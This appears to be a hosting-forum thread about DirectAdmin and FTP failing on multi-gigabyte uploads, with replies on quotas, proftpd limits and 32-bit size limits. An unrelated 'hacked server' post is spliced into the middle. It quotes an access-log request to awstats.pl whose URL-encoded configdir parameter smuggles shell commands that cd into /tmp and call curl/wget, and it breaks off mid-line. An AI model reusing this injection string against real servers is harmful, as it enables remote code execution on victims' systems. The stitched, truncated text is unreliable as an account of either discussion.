Hello,

I have compressed large files to upload to the server. They are .tar files that are from 1 gig to 8 gigs. FTP wont do it nor will the DA file upload interface.

I checked "Max File Upload Size" in admin settings and it's at 10G

Smaller files upload fine.

Larger files all just put a file named the same on the server but they are all about 8K (basically just a name place holder)

What ever shall I do?

Thanks
 
If you have access to SSH, I'd try a SCP from one computer to another. The receiving filesystem may also not ALLOW a file of that size - most of the older OS's will choke at 2GB (experience: RH 7.x and 9.0 log files)
 
Forget about the file manager; it's never going to work on a file that large.

FTP should be able to do it but...

There must be enough room in the user's quota for it.

And ...

The connection must work without appreciable errors during the time it takes to upload the file.

What OS distribution are you using?

Have you checked your proftpd configuration file to make sure it doesn't limit the upload size?

hacked server

Hey guys,

I just though I would let you know how my server got compromised. This
even happend after I installed the new version of awstats on Wednesday.
So in short I don't know if it is OK to run awstats as a cgi executable.

These are from my access log:

"GET
/cgi-bin/awstats.pl?
configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bcurl%20%2d0%20wget%2

Sorry to bring an old thread back to life, but I am having the same issue.

I have never changed that paramter in 'Administrator Settings' and what I think you are believing to be 10GB is actually 10MB (that's what my default is). When I try to set it to anything even REMOTELY close to 10GB (999999999 works, but one additional digit, i.e. 9999999999 doesn't work), DirectAdmin fails with an error "Invalid session timeout or max filesize values / Details / Keep the numbers to a realistic value please."

I don't know what to do about this besides edit proftpd.conf manually? I believe this is a bug and if someone can confirm this is a bug I will report it properly. I honestly think the max upload size parameter should be in something way bigger than bytes, at LEAST megabytes, if not gigabytes.

I believe that number I can set it to is even still under 1GB. I know this is the correct parameter to set because after switching it to that number, I can upload my almost 400MB file.

I am guessing that you are on a 32-bit OS. That value you are trying to set, is most likely going into an integer. On a 32-bit OS a signed integer has a max value of 2147483647 or 4294967295 for an unsigned integer. You value 9999999999 exceeds the size of an integer, which is why it doesn't work. Also any 32-bit application that isn't explicitly compiled with large file support, can't handle files larger than 2G.
